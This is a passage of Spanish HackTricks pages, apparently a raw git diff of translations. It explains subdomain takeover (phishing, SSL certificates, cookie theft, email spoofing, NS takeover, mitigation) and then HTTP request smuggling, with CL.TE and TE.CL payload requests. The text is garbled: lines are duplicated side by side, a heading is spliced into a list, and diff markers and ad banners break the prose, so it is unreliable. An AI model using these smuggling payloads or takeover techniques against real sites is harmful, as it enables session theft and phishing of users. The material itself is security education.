Nota que el paso #7 solicita _sub.example.com_ en lugar de _anotherdomain.com_. Esto se debe a que el navegador web no es consciente de que _anotherdomain.com_ siquiera existe. Aunque se use un registro CNAME, la barra de URL en el navegador todavía contiene _sub.example.com_. Esta es la **transparencia** para el navegador. Si piensas en eso, el navegador deposita toda su confianza en el resolver de DNS para proporcionar información precisa sobre el dominio. Simplificado, la toma de subdominio es un spoofing de DNS para un dominio particular en todo Internet. ¿Por qué? Porque cualquier navegador que realice la resolución de DNS en un dominio afectado recibe un registro A establecido por un atacante. El navegador entonces muestra felizmente lo que sea que reciba de este servidor (pensando que es legítimo). ### **Estrategias de Mitigación**
Las estrategias de mitigación incluyen:
1. **Eliminar registros DNS vulnerables** - Esto es efectivo si el subdominio ya no es necesario.
2. **Reclamar el nombre de dominio** - Registrar el recurso con el proveedor de la nube respectivo o recomprar un dominio caducado.
3. **Monitoreo regular de vulnerabilidades** - Herramientas como [aquatone](https://github.com/michenriksen/aquatone) pueden ayudar a identificar dominios susceptibles. Las organizaciones también deben revisar sus procesos de gestión de infraestructura, asegurando que la creación de registros DNS sea el último paso en la creación de recursos y el primer paso en la destrucción de recursos.
Un dominio así crea un escenario perfecto para phishing. Los atacantes a menudo usan [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) o los llamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar el dominio/sitio web legítimo con fines de phishing. Después de que un atacante toma control de algún nombre de dominio legítimo, es casi imposible para un usuario regular decir si el contenido en el dominio es proporcionado por una parte legítima o un atacante. Tomemos por ejemplo un banco aleatorio. Si uno de los subdominios del banco es vulnerable a la toma de subdominio, un atacante puede crear un formulario HTML que imita el formulario de inicio de sesión al sistema de banca por internet del banco. Luego, un atacante puede ejecutar una campaña de phishing dirigida o masiva pidiendo a los usuarios que inicien sesión y cambien sus contraseñas. En esta etapa, las contraseñas son capturadas por un atacante que tiene el control del dominio en cuestión. La URL proporcionada en el correo electrónico de phishing es un subdominio legítimo de un banco. Por lo tanto, los usuarios no son conscientes de algo malicioso sucediendo. Los filtros de spam y otras medidas de seguridad también son menos propensos a marcar el correo electrónico como spam o malicioso porque contiene nombres de dominio con mayor confianza. Para los proveedores de nube, verificar la propiedad del dominio es crucial para prevenir subdominio takeovers. Algunos, como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), han reconocido este problema e implementado mecanismos de verificación de dominio.
De hecho, el nombre de dominio en sí juega un papel significativo en una campaña exitosa. Tener un subdominio de nivel 5 vulnerable a la toma de subdominio es mucho menos _"legítimo"_ que tener un subdominio de nivel 2 con algún nombre de subdominio amigable. Vi varios ejemplos de subdominios perfectos para phishing, incluyendo: # Referencias
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
* _purchases.SOMETHING.com_
* _www.SOMETHING.com_
* _online.SOMETHING.com_
* _shop.SOMETHING.com_
Todos ellos vulnerables a la toma de subdominio. Todos ellos eran grandes marcas. ¿Hablando de phishing perfecto?
Sin embargo, las campañas recientes de phishing alojan contenido en dominios con nombres de dominio largos que incluyen el nombre de la marca (ver [ejemplo de Apple](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Teniendo un certificado SSL válido (más sobre eso a continuación), una palabra clave en el nombre del dominio y un sitio web que imita el sitio web de la marca objetivo, la gente tiende a caer en estos ataques. Piensa en las posibilidades con un subdominio legítimo de esta marca.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén Acceso Hoy: ¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### Certificados SSL <a href="#sslcertificates" id="sslcertificates"></a>
El ataque anterior puede ser mejorado generando un certificado SSL válido. Autoridades de certificación como [_Let's Encrypt_](https://letsencrypt.org/) permiten la verificación automática de la propiedad de un dominio mediante la verificación de contenido:
![Flujo de Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
Es decir, si hay un contenido específico colocado en una ruta de URL específica, Let's Encrypt aprobará la emisión de un certificado para un dominio dado. Dado que un atacante tiene control total sobre el contenido del dominio que es vulnerable a la toma de subdominio, esta verificación se puede realizar en cuestión de minutos. Por lo tanto, los atacantes también son capaces de generar un certificado SSL para dicho dominio, lo que solo disminuye la sospecha de un ataque de phishing.
### Robo de Cookies <a href="#cookiestealing" id="cookiestealing"></a>
Esto va de la mano con la transparencia del navegador pero tiene consecuencias diferentes. El navegador web implementa muchas políticas de seguridad para prevenir que sitios web maliciosos causen daño. Esto incluye cosas como la [Política del mismo origen](https://en.wikipedia.org/wiki/Same-origin_policy). Una de las principales responsabilidades de seguridad de un navegador es asegurar las cookies guardadas. ¿Por qué? Mientras que HTTP es un protocolo sin estado, las cookies se utilizan para rastrear sesiones. Por conveniencia, los usuarios a menudo guardan cookies por un período extendido para evitar iniciar sesión cada vez. Estas cookies, por lo tanto, actúan como un token de inicio de sesión que se presenta al servidor web y el usuario es identificado. Ataques como el [_Secuestro de sesión_](https://en.wikipedia.org/wiki/Session_hijacking) evolucionaron naturalmente de este concepto.
El navegador presenta automáticamente las cookies almacenadas con cada solicitud al dominio que las emitió. Hay una excepción a eso, tal que las cookies podrían ser compartidas a través de subdominios ([leer aquí](https://tools.ietf.org/html/rfc6265#section-8.6), también nota la sección 8.7). Esto suele ocurrir cuando el sitio web utiliza un sistema de [Inicio de sesión único](https://en.wikipedia.org/wiki/Single_sign-on) (SSO) basado en cookies. Usando SSO, un usuario puede iniciar sesión usando un subdominio y compartir el mismo token de sesión a través de una amplia gama de subdominios. La sintaxis para establecer una cookie regular es la siguiente:
```
HTTP/1.1 200 OK
Set-Cookie: name=value
```
Si esta cookie es emitida por un servidor web que reside en _example.com_, solo este servidor puede acceder a esta cookie más adelante. Sin embargo, la cookie puede ser emitida para un dominio comodín (por las razones explicadas anteriormente) de la siguiente manera:
```
HTTP/1.1 200 OK
Set-Cookie: name=value; domain=example.com
```
```markdown
La cookie se incluirá en las solicitudes HTTP a _example.com_, pero también a cualquier otro subdominio como _subdomain.example.com_. Este comportamiento crea una posibilidad de ataques de alta severidad utilizando la toma de control de subdominios. Supongamos que cierto dominio está utilizando cookies de sesión para un dominio comodín. Si hay un subdominio vulnerable a la toma de control de subdominios, lo único necesario para obtener el token de sesión del usuario es engañarlo para que visite el subdominio vulnerable. La cookie de sesión se envía automáticamente con la solicitud HTTP.
El navegador también implementa mecanismos de seguridad adicionales para las cookies:
* **Cookie HttpOnly** — Por defecto, las cookies pueden ser accedidas por código Javascript ejecutándose en el contexto del sitio web que creó las cookies. Javascript puede leer, actualizar y eliminar las cookies. La bandera de cookie _HttpOnly_ (establecida por el servidor web) indica que la cookie en particular no puede ser accedida por código Javascript. La única manera de obtenerla es a través de las cabeceras de solicitud y respuesta HTTP.
* **Cookie Secure** — Cuando la cookie tiene la bandera _Secure_ establecida por el servidor web, solo puede ser comunicada de vuelta al servidor web si se utiliza HTTPS.
Si el dominio es vulnerable a la toma de control de subdominios, un atacante puede recopilar cookies emitidas por ese dominio en el pasado simplemente engañando a los usuarios para que visiten ese sitio web. Las banderas HttpOnly y Secure no ayudan ya que la cookie no se accede mediante Javascript y se puede generar fácilmente un certificado SSL para el dominio tomado.
El robo de cookies utilizando la toma de control fue explicado en el [reporte](https://hackerone.com/reports/172137) de recompensa por errores por Arne Swinnen. El reporte explica el problema con uno de los subdominios de _Ubiquiti Networks_ (_ping.ubnt.com_). Este subdominio era vulnerable a la toma de control de subdominios, apuntando a una distribución de AWS CloudFront no reclamada. Dado que Ubiquiti Networks está utilizando SSO con cookies de sesión comodín, todos los usuarios que visiten _ping.ubnt.com_ podrían tener sus cookies de sesión robadas. Aunque este dominio apunta a AWS CloudFront, la configuración de distribución de CloudFront permite registrar cookies con cada solicitud. Por lo tanto, el escenario de extracción de cookies de sesión es completamente posible incluso con subdominios que apuntan a AWS CloudFront. En 2017, Arne también demostró un vector de ataque similar contra [el sistema SSO de Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
El comportamiento explicado anteriormente no se limita a las cookies. Dado que los scripts de Javascript tienen control total sobre los sitios web en los que se ejecutan, tener la capacidad de reemplazar dichos scripts en el sitio web legítimo podría llevar a consecuencias catastróficas. Supongamos que el sitio web está utilizando código Javascript de un proveedor externo utilizando la etiqueta _script_ y el atributo _src_. Cuando el dominio del proveedor externo expira, el navegador falla silenciosamente, es decir, no activa ninguna alerta visible para los usuarios regulares. Si el código externo no está haciendo nada importante (por ejemplo, solo se utiliza para seguimiento), dicho proveedor externo podría permanecer en el sitio web por un período prolongado. Un atacante puede tomar control de este dominio expirado, coincidir con la ruta URL del código Javascript proporcionado y así ganar control sobre cada visitante que visite el sitio web original.
Sin embargo, hay una forma de proteger la integridad de los archivos Javascript en un navegador. _Subresource Integrity_ [fue propuesto](https://www.w3.org/TR/2016/REC-SRI-20160623/) como un mecanismo para incluir un hash criptográfico como un atributo _integrity_ a la etiqueta _script_ en HTML5. Cuando el hash criptográfico proporcionado no coincide con el archivo descargado, el navegador se niega a ejecutarlo.
### Correos electrónicos <a href="#emails" id="emails"></a>
Cuando la toma de control de subdominios CNAME es posible, los registros MX también pueden ser configurados por un atacante a un servidor web arbitrario. Esto permite recibir correos electrónicos a un subdominio legítimo de alguna marca, particularmente útil nuevamente en ataques de (spear) phishing donde es necesaria la interacción entre un atacante y una víctima. Los atacantes suelen falsificar la cabecera `Return-Path` para recibir una respuesta al correo electrónico. Con los registros MX correctos, este problema se evita.
Por otro lado, también es posible enviar correos electrónicos. Aunque es trivial falsificar la cabecera `From` para incluir cualquier dirección de correo electrónico, los filtros SPF suelen comprobar la cabecera `Return-Path` y los hosts permitidos para el envío de correos para el dominio. SPF almacena la configuración en registros DNS TXT. Con la toma de control de subdominios, los registros TXT también están bajo el control del atacante, por lo que se pueden pasar fácilmente las comprobaciones de SPF.
_Como señalé al principio, estas tácticas generalmente no funcionan con la mayoría de los proveedores de la nube ya que no tienes control directo sobre la zona DNS._
### Riesgos de Orden Superior <a href="#higherorderrisks" id="higherorderrisks"></a>
El concepto de toma de control de subdominios se puede extender naturalmente a los registros NS: Si el dominio base de al menos un registro NS está disponible para registro, el nombre de dominio fuente es vulnerable a la toma de control de subdominios.
Uno de los problemas en la toma de control de subdominios utilizando el registro NS es que el nombre de dominio fuente generalmente tiene múltiples registros NS. Se utilizan múltiples registros NS para redundancia y equilibrio de carga. El servidor de nombres se elige al azar antes de la resolución DNS. Supongamos que el dominio _sub.example.com_ tiene dos registros NS: _ns.vulnerable.com_ y _ns.nonvulnerable.com_. Si un atacante toma control de _ns.vulnerable.com_, la situación desde la perspectiva del usuario que consulta _sub.example.com_ es la siguiente:
1. Dado que hay dos servidores de nombres, se elige uno al azar. Esto significa que la probabilidad de consultar el servidor de nombres controlado por un atacante es del 50%.
2. Si el resolvedor DNS del usuario elige _ns.nonvulnerable.com_ (servidor de nombres legítimo), se devuelve el resultado correcto y probablemente se almacena en caché en algún lugar entre 6 y 24 horas.
3. Si el resolvedor DNS del usuario elige _ns.vulnerable.com_ (servidor de nombres propiedad de un atacante), un atacante podría proporcionar un resultado falso que también se almacenará en caché. Dado que un atacante está en control del servidor de nombres, puede establecer el TTL para este resultado particular, por ejemplo, una semana.
El proceso anterior se repite cada vez que expira la entrada de caché. Cuando un atacante elige usar un TTL con un valor alto, el resultado falso permanecerá en la caché DNS durante ese período. Durante este tiempo, todas las solicitudes a _sub.example.com_ utilizarán el resultado DNS falso almacenado en caché por un atacante. Esta idea se amplifica aún más cuando se utilizan resolutores DNS públicos (por ejemplo, Google DNS). En este caso, es probable que los resolutores públicos almacenen en caché los resultados falsos, lo que significa que todos los usuarios que utilicen el mismo resolvedor DNS obtendrán resultados falsos hasta que se revoque la caché.
Además del control sobre el nombre de dominio fuente, también se obtiene control sobre todos los dominios de nivel superior del nombre de dominio fuente. Esto se debe a que poseer un nombre de dominio canónico de registro NS significa poseer la zona DNS completa del nombre de dominio fuente.
En 2016, Matthew Bryant [demostró](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) una toma de control de subdominios utilizando el registro NS en _maris.int_. El dominio de nivel superior .INT es un TLD especial, y solo un puñado de dominios lo utilizan. Bryant mostró que, aunque la registración de tales nombres de dominio es aprobada exclusivamente por la IANA, los servidores de nombres pueden configurarse a dominios arbitrarios. Dado que uno de los servidores de nombres de _maris.int_ estaba disponible para registro (_cobalt.aliis.be_), la toma de control de subdominios fue posible incluso en este TLD restringido.
Matthew también [demostró](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) un ataque de aún mayor severidad donde fue capaz de ganar control sobre el servidor de nombres del dominio de nivel superior .IO. Ganar control sobre .IO significa controlar las respuestas para todos los nombres de dominio .IO. En este caso, uno de los servidores de nombres de .IO era _ns-a1.io_, que estaba disponible para registro. Al registrar _ns-a1.io_, Bryant pudo recibir consultas DNS y controlar sus respuestas para todos los dominios .IO.
### Mitigación <a href="#mitigation" id="mitigation"></a>
Las estrategias de mitigación para nombres de dominio ya vulnerables a la toma de control de subdominios son bastante sencillas:
* **Eliminar el registro DNS afectado** — La solución más simple es eliminar el registro afectado de la zona DNS. Este paso generalmente se utiliza si la organización concluye que el nombre de dominio fuente afectado ya no es necesario.
* **Reclamar el nombre de dominio** — Esto significa registrar el recurso en un proveedor de la nube en particular o, en el caso de un dominio de Internet regular, volver a comprar el dominio expirado.
Para prevenir la toma de control de subdominios en el futuro, las organizaciones deberían cambiar el proceso de creación y destrucción de recursos en su infraestructura. En el caso de la creación de recursos, la creación del registro DNS tiene que ser el _último paso_ de este proceso. Esta condición evita que el registro DNS apunte a un dominio inexistente en cualquier momento. Para la destrucción de recursos, lo contrario es cierto: el registro DNS necesita ser eliminado como el _primer paso_ en este proceso. Herramientas como [aquatone](https://github.com/michenriksen/aquatone) incluyen comprobaciones para la toma de control de subdominios. Las comprobaciones deben ser realizadas periódicamente por un equipo de seguridad de una organización para verificar que no hay dominios vulnerables. Los procesos para la recopilación central de nombres de dominio expuestos a menudo no son eficientes dentro de las organizaciones (debido a equipos globales, etc.) y la monitorización externa suele ser la mejor opción.
La estrategia de mitigación para los proveedores de la nube también debe ser considerada. Los servicios en la nube no están verificando la propiedad del dominio. La razón detrás de esto es principalmente la conveniencia. El proveedor de la nube no está introduciendo ninguna vulnerabilidad al no verificar la propiedad de un nombre de dominio fuente. Por lo tanto, depende del usuario monitorear sus registros DNS. Otra razón es que, cuando se elimina un recurso en la nube, el usuario generalmente ya no es cliente de ese servicio. La pregunta que entonces se hacen los proveedores de la nube es: ¿Por qué deberíamos preocuparnos?
Proveedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) se dieron cuenta de que la toma de control de subdominios es un problema e implementaron un mecanismo de verificación de dominio.
_Algunas partes de esta publicación son extractos de mi_ [_Tesis de Maestría_](https://is.muni.cz/th/byrdn/Thesis.pdf).
¡Hasta la próxima!
[Patrik](https://twitter.com/0xpatrik)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&ut_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
```

View file

@ -1,27 +1,27 @@
# HTTP Request Smuggling / Ataque de Desincronización HTTP # Ataque de Desincronización de Solicitudes HTTP / Ataque de Desincronización HTTP
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
</details> </details>
## Qué es ## ¿Qué es?
Esta vulnerabilidad ocurre cuando una **desincronización** entre **proxies frontales** y el servidor **back-end** permite a un **atacante** **enviar** una solicitud HTTP que será **interpretada** como una **solicitud única** por los proxies frontales (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\ Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una **solicitud HTTP** que será **interpretada** como una **sola solicitud** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
Esto permite a un usuario **modificar la siguiente solicitud que llegue al servidor back-end después de la suya**. Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
### Teoría ### Teoría
[**Especificación RFC (2161)**](https://tools.ietf.org/html/rfc2616) [Especificación RFC (2161)](https://tools.ietf.org/html/rfc2616)
> Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado. > Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
@ -31,33 +31,33 @@ Esto permite a un usuario **modificar la siguiente solicitud que llegue al servi
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo del mensaje al usuario.\ > El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.\
> Chunked significa que los datos grandes se envían en una serie de fragmentos. > Chunked significa que se envían datos grandes en una serie de fragmentos.
### Realidad ### Realidad
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\ El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el **servidor de Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **proviniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**. Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 solicitudes diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da solicitud inyectada** como si **hubiera venido del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
### Particularidades ### Particularidades
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:** Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**. * **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0` * **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **próximo fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Smuggling. * **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Request Smuggling.
## Ejemplos Básicos ## Ejemplos Básicos
Por lo tanto, los ataques de smuggling de solicitudes implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una única solicitud HTTP y manipular estos de tal manera que los servidores frontales y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores: Entonces, los ataques de solicitud de contrabando implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una sola solicitud HTTP y manipularlos para que los servidores de front-end y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
* **CL.TE**: el servidor frontal utiliza el encabezado `Content-Length` y el servidor back-end utiliza el encabezado `Transfer-Encoding`. * **CL.TE**: el servidor de front-end utiliza el encabezado `Content-Length` y el servidor de back-end utiliza el encabezado `Transfer-Encoding`.
* **TE.CL**: el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`. * **TE.CL**: el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`.
* **TE.TE**: los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera. * **TE.TE**: los servidores de front-end y back-end admiten ambos el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar de alguna manera el encabezado.
### Vulnerabilidades CL.TE ### Vulnerabilidades CL.TE
Aquí, el servidor **frontal** utiliza el encabezado **`Content-Length`** y el servidor **back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera: Aquí, el **servidor de front-end** utiliza el encabezado **`Content-Length`** y el **servidor de back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un simple ataque de solicitud de contrabando HTTP de la siguiente manera:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -68,11 +68,11 @@ Aquí, el servidor **frontal** utiliza el encabezado **`Content-Length`** y el s
`GET /404 HTTP/1.1`\ `GET /404 HTTP/1.1`\
`Foo: x` `Foo: x`
Note cómo `Content-Length` indica que la **longitud del cuerpo de la solicitud es de 30 bytes** (_recuerde que HTTP usa como nueva línea, por lo que 2 bytes cada nueva línea_), por lo que el proxy inverso **enviará la solicitud completa** al back-end, y el back-end procesará el encabezado `Transfer-Encoding` dejando el `GET /404 HTTP/1.1` como el **comienzo de la siguiente solicitud** (por cierto, la siguiente solicitud se adjuntará a `Foo:x<Comienza la siguiente solicitud aquí>`). Observa cómo `Content-Length` indica que la **longitud del cuerpo de la solicitud es de 30 bytes** (_recuerda que HTTP usa como nueva línea, por lo que son 2 bytes por cada nueva línea_), por lo que el proxy inverso **enviará la solicitud completa** al back-end, y el back-end procesará el encabezado `Transfer-Encoding` dejando el `GET /404 HTTP/1.1` como el **inicio de la siguiente solicitud** (por cierto, la siguiente solicitud se agregará a `Foo:x<Siguiente solicitud comienza aquí>`).
### Vulnerabilidades TE.CL ### Vulnerabilidades TE.CL
Aquí, el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera: Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`. Podemos realizar un simple ataque de solicitud de contrabando HTTP de la siguiente manera:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -84,15 +84,15 @@ Aquí, el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servid
`0`\ `0`\
`\` `\`
En este caso, el **proxy inverso** **enviará toda la solicitud** al **back-end** como indica el **`Transfer-encoding`**. Pero, el **back-end** va a **procesar** solo los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comience por `GET /404 HTTP/1.1` En este caso, el **proxy inverso** enviará **toda la solicitud** al **back-end** ya que el **`Transfer-encoding`** lo indica así. Pero, el **back-end** solo procesará los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comience con `GET /404 HTTP/1.1`
_Note que incluso si el ataque debe terminar con un `0`, la siguiente solicitud se adjuntará como valores adicionales del parámetro **x**._\ _Nota que aunque el ataque debe terminar con un `0`, la siguiente solicitud se agregará como valores adicionales del parámetro **x**._\
